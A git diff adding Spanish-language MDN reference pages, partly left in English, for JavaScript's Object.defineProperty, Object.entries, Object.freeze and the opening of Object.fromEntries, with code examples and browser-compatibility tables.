+<p>Un descriptor de acceso además tiene las siguientes claves opcionales:</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>Una función cuyo valor retornado será el que se use como valor de la propiedad.<br>
+ <strong>Defaults to {{jsxref("Objetos_Globales/undefined", "undefined")}}.</strong></dd>
+ <dt><code>set</code></dt>
+ <dd>Una función que recibe como único argumento el nuevo valor que se desea asignar a la propiedad y que devuelve el valor que se almacenará finalmente en el objeto.<br>
+ <strong>Defaults to {{jsxref("Objetos_Globales/undefined", "undefined")}}.</strong></dd>
+</dl>
+
+<p>Hay que tener en cuenta que estas opciones también pueden heredarse; es decir, las opciones de la propiedad se han podido establecer en el prototipo de una clase de la que hereda el objeto. De modo que si queremos asegurarnos unos valores por defecto tenemos tres opciones: fijar el {{jsxref("Object.prototype")}} con {{jsxref("Object.freeze")}}, definir todas las opciones explicitamente, o establecer a {{jsxref("Objetos_Globales/null", "null")}} la propiedad {{jsxref("Object.prototype.__proto__", "__proto__")}}.</p>
+
+<pre class="brush: js">// Usando __proto__
+Object.defineProperty(obj, 'key', {
+  __proto__: null, // no aceptar propiedades heredadas
+  value: 'static'  // no enumerable
+                   // no configurable
+                   // no modificable
+                   // como opciones por defecto
+});
+
+// Definiendo todo explicitamente
+Object.defineProperty(obj, 'key', {
+  enumerable: false,
+  configurable: false,
+  writable: false,
+  value: 'static'
+});
+
+// Reciclando el mismo objeto
+function withValue(value) {
+  var d = withValue.d || (
+    withValue.d = {
+      enumerable: false,
+      writable: false,
+      configurable: false,
+      value: null
+    }
+  );
+  d.value = value;
+  return d;
+}
+// ... y ...
+Object.defineProperty(obj, 'key', withValue('static'));
+
+// Si está disponible freeze, previene añadir o eliminar
+//del prototipo del objeto las propiedades
+// (value, get, set, enumerable, writable, configurable)
+(Object.freeze || Object)(Object.prototype);
+</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>Si quiere ver algunos ejemplos de utilización del método <code>Object.defineProperty</code> con una sintaxis tipo <em>binary-flags</em>, vea <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">ejemplos adicionales</a>.</p>
+
+<h3 id="Example:_Creating_a_property" name="Example:_Creating_a_property">Ejemplo: Creando una propiedad</h3>
+
+<p>Cuando la propiedad especificada no existe en el objeto<code>, Object.defineProperty()</code> crea una nueva. En el descriptor pueden omitirse campos, a los cuales se les asignará el valor por defecto. A todos los que sean de tipo Booleano se les asignará el valor falso. Los campos <code>value</code>, <code>get</code> y <code>set</code> se establecerán por defecto a {{jsxref("Objetos_Globales/undefined", "undefined")}}. Una propiedad definida sin indicar  <code>get</code>/<code>set</code>/<code>value</code>/<code>writable</code> es denominada “genérica” y  “tipificada” como un descriptor de datos.</p>
+
+<pre class="brush: js">var o = {}; // Creates a new object
+
+// Example of an object property added with defineProperty with a data property descriptor
+Object.defineProperty(o, 'a', {
+  value: 37,
+  writable: true,
+  enumerable: true,
+  configurable: true
+});
+// 'a' property exists in the o object and its value is 37
+
+// Example of an object property added with defineProperty with an accessor property descriptor
+var bValue = 38;
+Object.defineProperty(o, 'b', {
+  get: function() { return bValue; },
+  set: function(newValue) { bValue = newValue; },
+  enumerable: true,
+  configurable: true
+});
+o.b; // 38
+// 'b' property exists in the o object and its value is 38
+// The value of o.b is now always identical to bValue, unless o.b is redefined
+
+// You cannot try to mix both:
+Object.defineProperty(o, 'conflict', {
+  value: 0x9f91102,
+  get: function() { return 0xdeadbeef; }
+});
+// throws a TypeError: value appears only in data descriptors, get appears only in accessor descriptors
+</pre>
+
+<h3 id="Example:_Modifying_a_property" name="Example:_Modifying_a_property">Ejemplo: Modificando una propiedad</h3>
+
+<p>Cuando la propiedad realmente existe, <code>Object.defineProperty()</code> intenta modificar la propiedad de acuerdo a los valores en la descripción y la configuración actual del objeto. Si la descripción antigüa tenía su atributo de configuración establecido en <code>false</code> (la propiedad se dice "sin capacidad de configuración"), entonces ningún atributo además de los que tienen capacidad de escritura pueden ser cambiados. En ese caso, no es posible cambiar hacía atras o hacía delante entre datos y métodos de acceso de tipos de propiedades.</p>
+
+<p>Si una propiedad no tiene capacidad de configuración, su atributo <code>writabble</code> solo puede ser cambiada to <code>false</code>.</p>
+
+<p>Un {{jsxref("Global_Objects/TypeError", "TypeError")}} es arrojado cuando se intenta cambiar las propiedades de atributos sin capacidad de configuración (adeḿas del atributo <code>writable</code>) a menos que el valor actual y el valor nuevo sean los mismos.</p>
+
+<h4 id="Writable_attribute" name="Writable_attribute">Atributo writable</h4>
+
+<p>Cuando la propiedad de un atributo <code>writable</code> es establecido to <code>false</code>, la propiedad se dice esta "sin capacidad de escritura". No puede ser reasignada.</p>
+
+<pre class="brush: js">var o = {}; // Crea un objeto nuevo
+
+Object.defineProperty(o, 'a', {
+  value: 37,
+  writable: false
+});
+
+console.log(o.a); // logs 37
+o.a = 25; // Ningún error arrojado (lo tiraría en modo estricto, aún si el valor fuera el mismo)
+console.log(o.a); // muestra 37. La asignación no funcionó
+</pre>
+
+<p>Como es visto en el ejemplo anterior, intentar escribir en una propiedad "sin capacidad de  escritura" no la cambia pero sí arroja un error.</p>
+
+<h4 id="Enumerable_attribute" name="Enumerable_attribute">Atributo enumerable</h4>
+
+<p>El atributo de la propiedad <code>enumerable</code> se define si la propiedad aparece en un ciclo {{jsxref("Statements/for...in", "for...in")}} y {{jsxref("Object.keys()")}} o no.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', { value: 1, enumerable: true });
+Object.defineProperty(o, 'b', { value: 2, enumerable: false });
+Object.defineProperty(o, 'c', { value: 3 }); // enumerable defaults to false
+o.d = 4; // enumerable defaults to true when creating a property by setting it
+
+for (var i in o) {
+  console.log(i);
+}
+// logs 'a' and 'd' (in undefined order)
+
+Object.keys(o); // ['a', 'd']
+
+o.propertyIsEnumerable('a'); // true
+o.propertyIsEnumerable('b'); // false
+o.propertyIsEnumerable('c'); // false
+</pre>
+
+<h4 id="Configurable_attribute" name="Configurable_attribute">Atributo configurable</h4>
+
+<p>El atributo <code>configurable</code> define si la propiedad puede ser eliminada del objeto, y si sus atributos (excepto <code>writable</code>) pueden ser modificados</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+  get: function() { return 1; },
+  configurable: false
+});
+
+Object.defineProperty(o, 'a', { configurable: true }); // arroja TypeError
+Object.defineProperty(o, 'a', { enumerable: true }); //  arroja  TypeError
+Object.defineProperty(o, 'a', { set: function() {} }); //  arroja  TypeError (set estaba definido como undefined)
+Object.defineProperty(o, 'a', { get: function() { return 1; } }); // arroja TypeError (incluso aunque los get hacen lo mismo)
+Object.defineProperty(o, 'a', { value: 12 }); // arroja TypeError
+
+console.log(o.a); // logs 1
+delete o.a; // No hace nada
+console.log(o.a); // logs 1
+</pre>
+
+<p>Si <code>o.a</code> tuviese <code>configurable</code>  a <code>true</code>, no se habrían arrojado errores y la propiedad habría sido eliminada. </p>
+
+<h3 id="Example:_Adding_properties_and_default_values" name="Example:_Adding_properties_and_default_values">Ejemplo: Añadiendo propiedades y valores por defecto</h3>
+
+<p>Es importante tener en cuenta la forma en la se aplican los valores por defecto de los atributos. Suele haber diferencias entre simplemente usar la notación con '.' y usar <code>Object.defineProperty()</code>, como se muestra en el siguiente ejemplo:</p>
+
+<pre class="brush: js">var o = {};
+
+o.a = 1;
+// es equivalente a :
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: true,
+  configurable: true,
+  enumerable: true
+});
+
+
+// Sin embargo,
+Object.defineProperty(o, 'a', { value: 1 });
+// es equivalente a :
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: false,
+  configurable: false,
+  enumerable: false
+});
+</pre>
+
+<h3 id="Example:_Custom_setters_and_getters" name="Example:_Custom_setters_and_getters">Ejemplo: Setters y Getters a medida</h3>
+
+<p>Example below shows how to implement a self-archiving object. When <code>temperature</code> property is set, the <code>archive</code> array gets a log entry.</p>
+
+<pre class="brush: js">function Archiver() {
+  var temperature = null;
+  var archive = [];
+
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    },
+    set: function(value) {
+      temperature = value;
+      archive.push({ val: temperature });
+    }
+  });
+
+  this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]
+</pre>
+
+<p>or</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> pattern <span class="operator token">=</span> <span class="punctuation token">{</span>
+    <span class="keyword token">get</span><span class="punctuation token">:</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">return</span> <span class="string token">'I always return this string, whatever you have assigned'</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span>
+    <span class="keyword token">set</span><span class="punctuation token">:</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>myname <span class="operator token">=</span> <span class="string token">'this is my name string'</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+
+<span class="keyword token">function</span> <span class="function token">TestDefineSetAndGet</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    Object<span class="punctuation token">.</span><span class="function token">defineProperty</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">,</span> <span class="string token">'myproperty'</span><span class="punctuation token">,</span> pattern<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+
+<span class="keyword token">var</span> instance <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">TestDefineSetAndGet</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+instance<span class="punctuation token">.</span>myproperty <span class="operator token">=</span> <span class="string token">'test'</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>instance<span class="punctuation token">.</span>myproperty<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// I always return this string, whatever you have assigned</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>instance<span class="punctuation token">.</span>myname<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// this is my name string</span></code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatChrome("5")}} (versiones previas sin testear)</td>
+   <td>{{CompatIE("9")}} ({{CompatIE("8")}}, pero solo con objetos DOM y con muchos comportamientos no estándares  <a href="#Internet_Explorer_8_specific_notes">See below</a>.)</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5.1")}} ({{CompatSafari("5")}}, but not on DOM objects)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("9")}} and above</td>
+   <td>{{CompatOperaMobile("11.50")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Based on <a class="external" href="http://kangax.github.com/es5-compat-table/">Kangax's compat tables</a>.</p>
+
+<h3 id="Redefining_the_length_property_of_an_Array_object" name="Redefining_the_length_property_of_an_Array_object">Redefining the <code>length</code> property of an <code>Array</code> object</h3>
+
+<p>It is possible to redefine the {{jsxref("Array.length", "length")}} property of arrays, subject to the usual redefinition restrictions. (The {{jsxref("Array.length", "length")}} property is initially non-configurable, non-enumerable, and writable. Thus on an unaltered array it is possible to change the {{jsxref("Array.length", "length")}} property's value, or to make it non-writable. It is not allowed to change its enumerability or configurability, or if it is non-writable to change its value or writability.) However, not all browsers permit this redefinition.</p>
+
+<p>Firefox 4 through 22 will throw a {{jsxref("Global_Objects/TypeError", "TypeError")}} on any attempt whatsoever (whether permitted or not) to redefine the {{jsxref("Array.length", "length")}} property of an array.</p>
+
+<p>Versions of Chrome which implement <code>Object.defineProperty()</code> in some circumstances ignore a length value different from the array's current {{jsxref("Array.length", "length")}} property. In some circumstances changing writability seems to silently not work (and not throw an exception). Also, relatedly, some array-mutating methods like {{jsxref("Array.prototype.push")}} don't respect a non-writable length.</p>
+
+<p>Versions of Safari which implement <code>Object.defineProperty()</code> ignore a <code>length</code> value different from the array's current {{jsxref("Array.length", "length")}} property, and attempts to change writability execute without error but do not actually change the property's writability.</p>
+
+<p>Only Internet Explorer 9 and later, and Firefox 23 and later, appear to fully and correctly implement redefinition of the {{jsxref("Array.length", "length")}} property of arrays. For now, don't rely on redefining the {{jsxref("Array.length", "length")}} property of an array to either work, or to work in a particular manner. And even when you <em>can</em> rely on it, <a href="http://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">there's really no good reason to do so</a>.</p>
+
+<h3 id="Particularidades_de_Internet_Explorer_8">Particularidades de Internet Explorer 8</h3>
+
+<p>El método <code>Object.defineProperty()</code> de Internet Explorer <a href="http://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">sólo puede ser usado en objetos del DOM.</a> Algunas explicaciones al respecto:</p>
+
+<ul>
+ <li>Intentar usar <code>Object.defineProperty()</code> en objetos nativos produce un error.</li>
+ <li>Hay que definir un valor para todos los atributos de una propiedad: <code>true, true, true</code> para descriptores de datos y <code>true</code> para configurables, <code>false</code> para el descriptor de acceso   <code>enumerable</code>.(?) Cualquier intento de proporcionar otro valor(?) lanzará un error.</li>
+ <li>Para reconfirurar una propiedad primero hay que eliminarla. Si no se elimina, la propiedad no cambia aunque se intente modificar.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}}</li>
+ <li>{{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">Additional <code>Object.defineProperty</code> examples</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/entries/index.html b/files/es/web/javascript/referencia/objetos_globales/object/entries/index.html
new file mode 100644
index 0000000000..98aff1178a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/entries/index.html
@@ -0,0 +1,161 @@
+---
+title: Object.entries()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.entries()</strong></code> devuelve una matriz de pares propios de una propiedad enumerable [key, value] de un objeto dado, en el mismo orden que es proporcionado por {{jsxref("Sentencias/for...in", "for...in")}} (La diferencia es que un bucle for-in enumera las propiedades en la cadena de prototipos).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Object.entries(<var>obj</var>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>The object whose enumerable own property <code>[key, value]</code> pairs are to be returned.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>An array of the given object's own enumerable property <code>[key, value]</code> pairs.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>Object.entries()</code> returns an array whose elements are arrays corresponding to the enumerable property <code>[key, value]</code> pairs found directly upon <code>object</code>. The ordering of the properties is the same as that given by looping over the property values of the object manually.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var obj = { foo: 'bar', baz: 42 };
+console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ]
+
+// array like object
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]
+
+// array like object with random key ordering
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.entries(an_obj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]
+
+// getFoo is property which isn't enumerable
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = 'bar';
+console.log(Object.entries(my_obj)); // [ ['foo', 'bar'] ]
+
+// non-object argument will be coerced to an object
+console.log(Object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]
+
+// iterate through key-value gracefully
+var obj = {a: 5, b: 7, c: 9};
+for (var [key, value] of Object.entries(obj)) {
+    console.log(key + ' ' + value); // "a 5", "b 7", "c 9"
+}
+
+// Or, using array extras
+Object.entries(obj).forEach(([key, value]) =&gt; {
+    console.log(key + ' ' + value); // "a 5", "b 7", "c 9"
+});
+</pre>
+
+<h3 id="Converting_an_Object_to_a_Map">Converting an <code>Object</code> to a <code>Map</code></h3>
+
+<p>The {{jsxref("Map", "new Map()")}} constructor accepts an iterable of <code>entries</code>. With <code>Object.entries</code>, you can easily convert from {{jsxref("Object")}} to {{jsxref("Map")}}:</p>
+
+<pre class="brush: js">var obj = { foo: 'bar', baz: 42 };
+var map = new Map(Object.entries(obj));
+console.log(map); // Map { foo: "bar", baz: 42 }</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>To add compatible <code>Object.entries</code> support in older environments that do not natively support it, you can find a Polyfill in the <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> or in the <a href="https://github.com/es-shims/Object.entries">es-shims/Object.entries</a> repositories.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-object.entries', 'Object.entries')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(54)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(47)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(10.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(54)}}</td>
+   <td>{{CompatChrome(54)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(47)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/freeze/index.html b/files/es/web/javascript/referencia/objetos_globales/object/freeze/index.html
new file mode 100644
index 0000000000..890d0d07b4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/freeze/index.html
@@ -0,0 +1,174 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/freeze
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.freeze()</strong></code> <em>congela</em> un objeto, es decir: impide que se le agreguen nuevas propiedades; impide que se puedan eliminar las propiedades ya existentes; impide que dichas propiedades, o su capacidad de enumeración, configuración, o escritura, puedan ser modificadas; impide también que se pueda modificar su prototipo. El método devuelve el objeto recibido.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-freeze.html")}}</div>
+
+<p class="hidden">El código de este ejemplo interactivo está almacenado en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interactivos, puedes clonar <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y enviarnos un <em>pull request</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Object.freeze(<var>obj</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto a <em>congelar</em>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El mismo objeto</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Nada puede ser agregado o removido de las propiedades establecidas de un objeto <em>congelado</em>. Cualquier intento de hacerlo fallará, ya sea de manera silenciosa o <em>arrojando una excepción </em>{{jsxref("TypeError")}} (más comunmente, pero no exclusivamente, en {{jsxref("Strict_mode", "strict mode", "", 1)}}).</p>
+
+<p>Los valores no pueden ser cambiados por propiedades de datos. Propiedades de acceso (<em>getters</em> y <em>setters</em>) funcionan igual (y aún dan la ilusión de que estas cambiando el valor). Note que los valores que son objetos aún pueden ser modificados, a menos que esten <em>congelados</em> tambien.</p>
+
+<p>La función retorna el mismo objeto pasado en ella, no crea una copia <em>congelada</em></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Congelando_Objetos">Congelando Objetos</h3>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Nuevas propiedades pueden ser agregadas,
+// propiedades existentes pueden cambiar o removerse
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+// Ambos, el objeto pasado como argumento tanto como el que se regresa
+// serán congelados
+// Es innecesario salvar el objeto que es regresado en orden de <em>congelar</em>
+// el original.
+var o = Object.freeze(obj);
+
+assert(Object.isFrozen(obj) === true);
+
+// Ahora cualquier cambio fallará
+obj.foo = 'quux'; // No hace nada de manera silenciosa
+obj.quaxxor = 'the friendly duck'; // No agrega una nueva propiedad, de manera silenciosa
+
+// ...y en modo estrico tal intento arrojará TypeErrors
+function fail(){
+  'use strict';
+  obj.foo = 'sparky'; // arroja un TypeError
+  delete obj.quaxxor; // arroja un TypeError
+  obj.sparky = 'arf'; // arroja un TypeError
+}
+
+fail();
+
+// Los intentos utilizando Object.defineProperty tambien arrojarán una excepción...
+Object.defineProperty(obj, 'ohai', { value: 17 }); // arroja un TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // arroja un TypeError
+
+// Es imposible cambiar un prototipo
+// Estos ejemplos retornan un error TypeError
+Object.setPrototype(obj,{x:20})
+obj.__proto__ = {x:20}
+</pre>
+
+<p>El siguiente ejemplo muestra que los valores de objetos en un objeto congelado pueden ser mutados (la congelación es superficial).</p>
+
+<pre class="brush: js">obj1 = {
+  internal: {}
+};
+
+Object.freeze(obj1);
+obj1.internal.a = 'aValue';
+
+obj1.internal.a // 'aValue'
+
+// Para hacer obj completamente inmutable, congelamos cada objeto en obj.
+// Para hacerlo, usamos esta función.
+function deepFreeze(obj) {
+
+  // Recuperamos el nombre de las propiedades en obj
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  // Congelamos las propiedades antes de congelar a obj
+  propNames.forEach(function(name) {
+    var prop = obj[name];
+
+    // Si la propiedad es un objeto, llamaremos a deepFreezze para que congele las propiedades de ese objeto
+    if (typeof prop == 'object' &amp;&amp; prop !== null &amp;&amp; !Object.isFrozen(prop))
+      deepFreeze(prop);
+  });
+
+  // congelamos a obj
+  return Object.freeze(obj);
+}
+
+obj2 = {
+  internal: {}
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'anotherValue';
+obj2.internal.a; // undefined
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>En ES5, si el argumento pasado a este método no es un objeto (un primitivo), entonces causará un {{jsxref("TypeError")}}. En ES6, un argumento no-objeto será tratado como si fuera un objeto <em>congelado</em> cualquiera, simplemente lo regresa.</p>
+
+<pre class="brush: js">&gt; Object.freeze(1)
+TypeError: 1 is not an object // Código ES5
+
+&gt; Object.freeze(1)
+1                             // Código ES6
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{Compat("javascript.builtins.Object.freeze")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/fromentries/index.html b/files/es/web/javascript/referencia/objetos_globales/object/fromentries/index.html
new file mode 100644
index 0000000000..023cc5f8ca
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/fromentries/index.html
@@ -0,0 +1,106 @@
+---
+title: Object.fromEntries()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/fromEntries
+tags:
+  - JavaScript
+  - Objeto
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.fromEntries()</strong></code> transforma una lista de pares con <code>[clave-valor] </code>en un objeto.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-fromentries.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Object.fromEntries(<var>iterable</var>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>iterador</var></code></dt>
